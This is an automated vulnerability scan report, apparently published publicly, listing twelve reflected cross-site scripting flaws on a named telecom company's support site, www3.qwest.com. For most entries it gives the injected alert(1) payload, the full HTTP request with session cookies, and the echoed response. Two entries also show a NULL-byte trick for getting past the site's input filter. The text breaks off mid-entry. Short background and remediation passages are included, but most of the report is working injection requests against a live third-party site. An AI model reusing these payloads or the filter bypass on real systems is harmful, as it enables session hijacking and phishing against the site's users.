XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, BHDB, www3.qwest.com

Report generated by XSS.CX at Tue Sep 06 09:20:49 GMT-06:00 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |
Loading

1. Cross-site scripting (reflected)

XSS in www3.qwest.com, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86, BHDB, Javascript Injection, Insecure Programming, Weak Configuration, Browser Hijacking, Phishing

1.1. http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/help_search.php [p_sp parameter]

1.2. http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/std_alp.php [cat_lvl1 parameter]

1.3. http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/std_alp.php [cat_lvl2 parameter]

1.4. http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/std_alp.php [name of an arbitrarily supplied request parameter]

1.5. http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/std_alp.php [p_accessibility parameter]

1.6. http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/std_alp.php [p_accessibility parameter]

1.7. http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/std_alp.php [p_cat_lvl1 parameter]

1.8. http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/std_alp.php [p_cat_lvl1 parameter]

1.9. http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/std_alp.php [p_cat_lvl2 parameter]

1.10. http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/std_alp.php [p_cat_lvl2 parameter]

1.11. http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/std_alp.php [p_cv parameter]

1.12. http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/std_alp.php [p_search_text parameter]

2. Cross-domain Referer leakage

2.1. http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/help_search.php

2.2. http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/std_alp.php

2.3. http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/std_alp.php

3. Cross-domain script include

3.1. http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/help_search.php

3.2. http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/std_alp.php

4. Robots.txt file



1. Cross-site scripting (reflected)  next
There are 12 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/help_search.php [p_sp parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www3.qwest.com
Path:   /cgi-bin/qwest.cfg/php/enduser/help_search.php

Issue detail

The value of the p_sp request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %006fb7e"><script>alert(1)</script>748c3bebb14 was submitted in the p_sp parameter. This input was echoed as 6fb7e"><script>alert(1)</script>748c3bebb14 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /cgi-bin/qwest.cfg/php/enduser/help_search.php?p_sid=z*o_MoDk&p_lva=&p_sp=cF9zcmNoPTEmcF9zb3J0X2J5PSZwX2dyaWRzb3J0PSZwX3Jvd19jbnQ9MCwwJnBfcHJvZHM9NjcsNjgmcF9jYXRzPTgsMCZwX3B2PTEuNjc7Mi42OCZwX2N2PTEuOCZwX3BhZ2U9MSZwX3NlYXJjaF90ZXh0PXhzcw!!%006fb7e"><script>alert(1)</script>748c3bebb14&p_li= HTTP/1.1
Host: www3.qwest.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/std_alp.php?p_sid=z*o_MoDk&p_lva=&p_li=&p_accessibility=&p_redirect=&p_page=1&p_cv=1.8&p_pv=&p_prods=&p_cats=8&p_hidden_prods=&cat_lvl1=8&cat_lvl2=0&p_search_text=xss&x=55&y=16&p_new_search=1
Cookie: TLTHID=808F7F82D86F10D8001CB484F44AC147; TLTSID=7F3B8068D86F10D800168EE5DEF3F32E; TLsessionID=32142022098292118771; s_cc=true; gpv_ptemp=no%20value; s_nr=1315321429770-New; eVar11=no%20value; s_sq=qwestfull%3D%2526pid%253Dhttp%25253A%25252F%25252Fwww3.qwest.com%25252Fcgi-bin%25252Fqwest.cfg%25252Fphp%25252Fenduser%25252Fstd_alp.php%25253Fp_sid%25253Dz*o_MoDk%252526p_lva%25253D%252526p_li%25253D%252526p_accessibility%25253D%252526p_redirect%25253D%252526p_page%25253D1%252526p_cv%25253D1.8%252526p_pv%25253D%252526p_prods%25253D%252526p_cats%25253D8%252526p_hidden_prods%25253D%252526cat_lvl1%25253D8%252526cat_lvl2%25253D0%252526p_search_text%25253Dxss%252526x%25253D55%252526y%25253D16%252526p_new_search%25253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww3.qwest.com%25252Fcgi-bin%25252Fqwest.cfg%25252Fphp%25252Fenduser%25252Fhelp_search.php%25253Fp_sid%25253Dz*o_MoDk%252526p_lva%25253D%252526p_sp%25253DcF9zc%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Tue, 06 Sep 2011 10:04:47 GMT
Server: Apache
P3P: policyref="https://www3.qwest.com/rnt/rnw/p3p/rnw_p3p_ref.xml",CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV"
RNT-Time: D=80775 t=1315303487447240
RNT-Machine: 04
Vary: Accept-Encoding
Content-Length: 119642
X-Cnection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-US">
<!-- Head ->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>- -->
...[SNIP]...
?p_sid=z*o_MoDk&amp;p_lva=&amp;p_sp=cF9zcmNoPTEmcF9zb3J0X2J5PSZwX2dyaWRzb3J0PSZwX3Jvd19jbnQ9MCwwJnBfcHJvZHM9NjcsNjgmcF9jYXRzPTgsMCZwX3B2PTEuNjc7Mi42OCZwX2N2PTEuOCZwX3BhZ2U9MSZwX3NlYXJjaF90ZXh0PXhzcw!!.6fb7e"><script>alert(1)</script>748c3bebb14&amp;p_li=">
...[SNIP]...

1.2. http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/std_alp.php [cat_lvl1 parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www3.qwest.com
Path:   /cgi-bin/qwest.cfg/php/enduser/std_alp.php

Issue detail

The value of the cat_lvl1 request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 96477'%3balert(1)//be783f98a0 was submitted in the cat_lvl1 parameter. This input was echoed as 96477';alert(1)//be783f98a0 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cgi-bin/qwest.cfg/php/enduser/std_alp.php?p_sid=X4Q7iXKh&p_lva=&p_li=&p_page=1&p_cv=1.62%3B2.u0&p_pv=&p_prods=&p_cats=62%2C0&p_hidden_prods=&cat_lvl1=6296477'%3balert(1)//be783f98a0&cat_lvl2=0&p_search_text=&p_new_search=1 HTTP/1.1
Host: www3.qwest.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/help_search.php?p_sid=z*o_MoDk&p_lva=&p_sp=cF9zcmNoPTEmcF9zb3J0X2J5PSZwX2dyaWRzb3J0PSZwX3Jvd19jbnQ9MCwwJnBfcHJvZHM9NjcsNjgmcF9jYXRzPTgsMCZwX3B2PTEuNjc7Mi42OCZwX2N2PTEuOCZwX3BhZ2U9MSZwX3NlYXJjaF90ZXh0PXhzcw!!&p_li=
Cookie: TLTHID=87614926D86F10D80123C83B8B0A0670; TLTSID=7F3B8068D86F10D800168EE5DEF3F32E; TLsessionID=32142022098292118771; s_cc=true; gpv_ptemp=no%20value; s_nr=1315321429770-New; eVar11=no%20value; s_sq=qwestfull%3D%2526pid%253Dhttp%25253A%25252F%25252Fwww3.qwest.com%25252Fcgi-bin%25252Fqwest.cfg%25252Fphp%25252Fenduser%25252Fstd_alp.php%25253Fp_sid%25253Dz*o_MoDk%252526p_lva%25253D%252526p_li%25253D%252526p_accessibility%25253D%252526p_redirect%25253D%252526p_page%25253D1%252526p_cv%25253D1.8%252526p_pv%25253D%252526p_prods%25253D%252526p_cats%25253D8%252526p_hidden_prods%25253D%252526cat_lvl1%25253D8%252526cat_lvl2%25253D0%252526p_search_text%25253Dxss%252526x%25253D55%252526y%25253D16%252526p_new_search%25253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww3.qwest.com%25252Fcgi-bin%25252Fqwest.cfg%25252Fphp%25252Fenduser%25252Fhelp_search.php%25253Fp_sid%25253Dz*o_MoDk%252526p_lva%25253D%252526p_sp%25253DcF9zc%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Tue, 06 Sep 2011 10:05:33 GMT
Server: Apache
P3P: policyref="https://www3.qwest.com/rnt/rnw/p3p/rnw_p3p_ref.xml",CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV"
RNT-Time: D=142773 t=1315303533985080
RNT-Machine: 01
Vary: Accept-Encoding
Content-Length: 221253
X-Cnection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<!-- Head -->
<head>
<meta name="robots" content="index, nofollow">
<meta http-equiv="Pragma" conten
...[SNIP]...
<script type="text/javascript">
_alp_onload(1, '');
auto_populate(document._search, prod_array, '67,68', 'prods',false,false);
auto_populate(document._search, cat_array, '6296477';alert(1)//be783f98a0,0', 'cats',false,false);
</script>
...[SNIP]...

1.3. http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/std_alp.php [cat_lvl2 parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www3.qwest.com
Path:   /cgi-bin/qwest.cfg/php/enduser/std_alp.php

Issue detail

The value of the cat_lvl2 request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a47e4'%3balert(1)//43463e7f094 was submitted in the cat_lvl2 parameter. This input was echoed as a47e4';alert(1)//43463e7f094 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cgi-bin/qwest.cfg/php/enduser/std_alp.php?p_sid=X4Q7iXKh&p_lva=&p_li=&p_page=1&p_cv=1.62%3B2.u0&p_pv=&p_prods=&p_cats=62%2C0&p_hidden_prods=&cat_lvl1=62&cat_lvl2=0a47e4'%3balert(1)//43463e7f094&p_search_text=&p_new_search=1 HTTP/1.1
Host: www3.qwest.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/help_search.php?p_sid=z*o_MoDk&p_lva=&p_sp=cF9zcmNoPTEmcF9zb3J0X2J5PSZwX2dyaWRzb3J0PSZwX3Jvd19jbnQ9MCwwJnBfcHJvZHM9NjcsNjgmcF9jYXRzPTgsMCZwX3B2PTEuNjc7Mi42OCZwX2N2PTEuOCZwX3BhZ2U9MSZwX3NlYXJjaF90ZXh0PXhzcw!!&p_li=
Cookie: TLTHID=87614926D86F10D80123C83B8B0A0670; TLTSID=7F3B8068D86F10D800168EE5DEF3F32E; TLsessionID=32142022098292118771; s_cc=true; gpv_ptemp=no%20value; s_nr=1315321429770-New; eVar11=no%20value; s_sq=qwestfull%3D%2526pid%253Dhttp%25253A%25252F%25252Fwww3.qwest.com%25252Fcgi-bin%25252Fqwest.cfg%25252Fphp%25252Fenduser%25252Fstd_alp.php%25253Fp_sid%25253Dz*o_MoDk%252526p_lva%25253D%252526p_li%25253D%252526p_accessibility%25253D%252526p_redirect%25253D%252526p_page%25253D1%252526p_cv%25253D1.8%252526p_pv%25253D%252526p_prods%25253D%252526p_cats%25253D8%252526p_hidden_prods%25253D%252526cat_lvl1%25253D8%252526cat_lvl2%25253D0%252526p_search_text%25253Dxss%252526x%25253D55%252526y%25253D16%252526p_new_search%25253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww3.qwest.com%25252Fcgi-bin%25252Fqwest.cfg%25252Fphp%25252Fenduser%25252Fhelp_search.php%25253Fp_sid%25253Dz*o_MoDk%252526p_lva%25253D%252526p_sp%25253DcF9zc%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Tue, 06 Sep 2011 10:05:47 GMT
Server: Apache
P3P: policyref="https://www3.qwest.com/rnt/rnw/p3p/rnw_p3p_ref.xml",CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV"
RNT-Time: D=124310 t=1315303547338174
RNT-Machine: 15
Vary: Accept-Encoding
Content-Length: 221255
X-Cnection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<!-- Head -->
<head>
<meta name="robots" content="index, nofollow">
<meta http-equiv="Pragma" conten
...[SNIP]...
<script type="text/javascript">
_alp_onload(1, '');
auto_populate(document._search, prod_array, '67,68', 'prods',false,false);
auto_populate(document._search, cat_array, '62,0a47e4';alert(1)//43463e7f094', 'cats',false,false);
</script>
...[SNIP]...

1.4. http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/std_alp.php [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www3.qwest.com
Path:   /cgi-bin/qwest.cfg/php/enduser/std_alp.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8b5a9'%3balert(1)//353f5e62508 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 8b5a9';alert(1)//353f5e62508 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cgi-bin/qwest.cfg/php/enduser/std_alp.php?p_sid=qRlKCq-g&p_lva=&p_li=&p_page=1&p_cat_lvl1=8&p_cat_lvl2=%7Ean/8b5a9'%3balert(1)//353f5e62508y%7E HTTP/1.1
Host: www3.qwest.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://tcat-itv2.centurylink.com/residential/ld/index_oor.html

Response

HTTP/1.1 200 OK
Date: Tue, 06 Sep 2011 10:04:56 GMT
Server: Apache
P3P: policyref="https://www3.qwest.com/rnt/rnw/p3p/rnw_p3p_ref.xml",CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV"
RNT-Time: D=102462 t=1315303496183176
RNT-Machine: 12
Vary: Accept-Encoding
Content-Length: 221964
X-Cnection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<!-- Head -->
<head>
<meta name="robots" content="index, nofollow">
<meta http-equiv="Pragma" conten
...[SNIP]...
<script type="text/javascript">
_alp_onload(1, '');
auto_populate(document._search, prod_array, '67,68', 'prods',false,false);
auto_populate(document._search, cat_array, '8,~an/8b5a9';alert(1)//353f5e62508y~', 'cats',false,false);
</script>
...[SNIP]...

1.5. http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/std_alp.php [p_accessibility parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www3.qwest.com
Path:   /cgi-bin/qwest.cfg/php/enduser/std_alp.php

Issue detail

The value of the p_accessibility request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 921ba%3balert(1)//8631c17ca13 was submitted in the p_accessibility parameter. This input was echoed as 921ba;alert(1)//8631c17ca13 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cgi-bin/qwest.cfg/php/enduser/std_alp.php?p_sid=z*o_MoDk&p_lva=&p_li=&p_accessibility=921ba%3balert(1)//8631c17ca13&p_redirect=&p_page=1&p_cv=1.8&p_pv=&p_prods=&p_cats=8&p_hidden_prods=&cat_lvl1=8&cat_lvl2=0&p_search_text=xss&x=55&y=16&p_new_search=1 HTTP/1.1
Host: www3.qwest.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/std_alp.php?p_sid=qRlKCq-g&p_lva=&p_li=&p_page=1&p_cat_lvl1=8&p_cat_lvl2=%7Eany%7E
Cookie: TLTHID=808F7F82D86F10D8001CB484F44AC147; TLTSID=7F3B8068D86F10D800168EE5DEF3F32E; TLsessionID=32142022098292118771; s_cc=true; gpv_ptemp=no%20value; s_nr=1315321421233-New; eVar11=no%20value; s_sq=qwestfull%3D%2526pid%253Dhttp%25253A%25252F%25252Fwww3.qwest.com%25252Fcgi-bin%25252Fqwest.cfg%25252Fphp%25252Fenduser%25252Fstd_alp.php%25253Fp_sid%25253DqRlKCq-g%252526p_lva%25253D%252526p_li%25253D%252526p_page%25253D1%252526p_cat_lvl1%25253D8%252526p_cat_lvl2%25253D%2525257Eany%2525257E%2526oid%253Dfunctiononclick(event)%25257Bdo_prodcat_submit()%25253B%25257D%2526oidt%253D2%2526ot%253DIMAGE

Response

HTTP/1.1 200 OK
Date: Tue, 06 Sep 2011 10:05:28 GMT
Server: Apache
P3P: policyref="https://www3.qwest.com/rnt/rnw/p3p/rnw_p3p_ref.xml",CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV"
RNT-Time: D=101410 t=1315303528988009
RNT-Machine: 13
Vary: Accept-Encoding
Content-Length: 201711
X-Cnection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<!-- Head -->
<head>
<meta name="robots" content="index, nofollow">
<meta http-equiv="Pragma" conten
...[SNIP]...
l, data_obj, group, nolink, default_prod, default_cat)
{
var hist_arr = new Array();
var label2 = new Object();
var prod_reqd_lvl = 0;
var cat_reqd_lvl = 0;
var accessibility = 921ba;alert(1)//8631c17ca13;
var isprod;
var finish_cat = false;
default_prod = default_prod || false;
default_cat = default_cat || false;
var show_all = "none"
if (accessibility == 1)
show_all =
...[SNIP]...

1.6. http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/std_alp.php [p_accessibility parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www3.qwest.com
Path:   /cgi-bin/qwest.cfg/php/enduser/std_alp.php

Issue detail

The value of the p_accessibility request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9dbf9'%3balert(1)//00d0942046e was submitted in the p_accessibility parameter. This input was echoed as 9dbf9';alert(1)//00d0942046e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cgi-bin/qwest.cfg/php/enduser/std_alp.php?p_sid=z*o_MoDk&p_lva=&p_li=&p_accessibility=9dbf9'%3balert(1)//00d0942046e&p_redirect=&p_page=1&p_cv=1.8&p_pv=&p_prods=&p_cats=8&p_hidden_prods=&cat_lvl1=8&cat_lvl2=0&p_search_text=xss&x=55&y=16&p_new_search=1 HTTP/1.1
Host: www3.qwest.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/std_alp.php?p_sid=qRlKCq-g&p_lva=&p_li=&p_page=1&p_cat_lvl1=8&p_cat_lvl2=%7Eany%7E
Cookie: TLTHID=808F7F82D86F10D8001CB484F44AC147; TLTSID=7F3B8068D86F10D800168EE5DEF3F32E; TLsessionID=32142022098292118771; s_cc=true; gpv_ptemp=no%20value; s_nr=1315321421233-New; eVar11=no%20value; s_sq=qwestfull%3D%2526pid%253Dhttp%25253A%25252F%25252Fwww3.qwest.com%25252Fcgi-bin%25252Fqwest.cfg%25252Fphp%25252Fenduser%25252Fstd_alp.php%25253Fp_sid%25253DqRlKCq-g%252526p_lva%25253D%252526p_li%25253D%252526p_page%25253D1%252526p_cat_lvl1%25253D8%252526p_cat_lvl2%25253D%2525257Eany%2525257E%2526oid%253Dfunctiononclick(event)%25257Bdo_prodcat_submit()%25253B%25257D%2526oidt%253D2%2526ot%253DIMAGE

Response

HTTP/1.1 200 OK
Date: Tue, 06 Sep 2011 10:05:25 GMT
Server: Apache
P3P: policyref="https://www3.qwest.com/rnt/rnw/p3p/rnw_p3p_ref.xml",CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV"
RNT-Time: D=100811 t=1315303525075430
RNT-Machine: 20
Vary: Accept-Encoding
Content-Length: 201713
X-Cnection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<!-- Head -->
<head>
<meta name="robots" content="index, nofollow">
<meta http-equiv="Pragma" conten
...[SNIP]...
e = "text/javascript"> // - - - - - - - - - - - - - - - - - - - - -
function _hier_popup(tname)
{
tname = 13;
do_prodcat_submit()
window.open('hier_disp.php?p_sid=z*o_MoDk&p_accessibility=9dbf9';alert(1)//00d0942046e&p_redirect=&p_lva=&p_li=&p_sp=cF9zcmNoPTEmcF9zb3J0X2J5PSZwX2dyaWRzb3J0PSZwX3Jvd19jbnQ9MCwwJnBfcHJvZHM9NjcsNjgmcF9jYXRzPTgsMCZwX3B2PTEuNjc7Mi42OCZwX2N2PTEuOCZwX3BhZ2U9MSZwX3NlYXJjaF90ZXh0PXhzcw!!&p_src
...[SNIP]...

1.7. http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/std_alp.php [p_cat_lvl1 parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www3.qwest.com
Path:   /cgi-bin/qwest.cfg/php/enduser/std_alp.php

Issue detail

The value of the p_cat_lvl1 request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 127e5'%3balert(1)//7177cb2d7cd was submitted in the p_cat_lvl1 parameter. This input was echoed as 127e5';alert(1)//7177cb2d7cd in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cgi-bin/qwest.cfg/php/enduser/std_alp.php?p_sid=qRlKCq-g&p_lva=&p_li=&p_page=1&p_cat_lvl1=8127e5'%3balert(1)//7177cb2d7cd&p_cat_lvl2=%7Eany%7E HTTP/1.1
Host: www3.qwest.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://tcat-itv2.centurylink.com/residential/ld/index_oor.html

Response

HTTP/1.1 200 OK
Date: Tue, 06 Sep 2011 10:04:25 GMT
Server: Apache
P3P: policyref="https://www3.qwest.com/rnt/rnw/p3p/rnw_p3p_ref.xml",CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV"
RNT-Time: D=94215 t=1315303465134872
RNT-Machine: 19
Vary: Accept-Encoding
Content-Length: 201562
X-Cnection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<!-- Head -->
<head>
<meta name="robots" content="index, nofollow">
<meta http-equiv="Pragma" conten
...[SNIP]...
<script type="text/javascript">
_alp_onload(1, '');
auto_populate(document._search, prod_array, '67,68', 'prods',false,false);
auto_populate(document._search, cat_array, '8127e5';alert(1)//7177cb2d7cd,0', 'cats',false,false);
</script>
...[SNIP]...

1.8. http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/std_alp.php [p_cat_lvl1 parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www3.qwest.com
Path:   /cgi-bin/qwest.cfg/php/enduser/std_alp.php

Issue detail

The value of the p_cat_lvl1 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %004a45a"><script>alert(1)</script>0abdd169772 was submitted in the p_cat_lvl1 parameter. This input was echoed as 4a45a"><script>alert(1)</script>0abdd169772 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

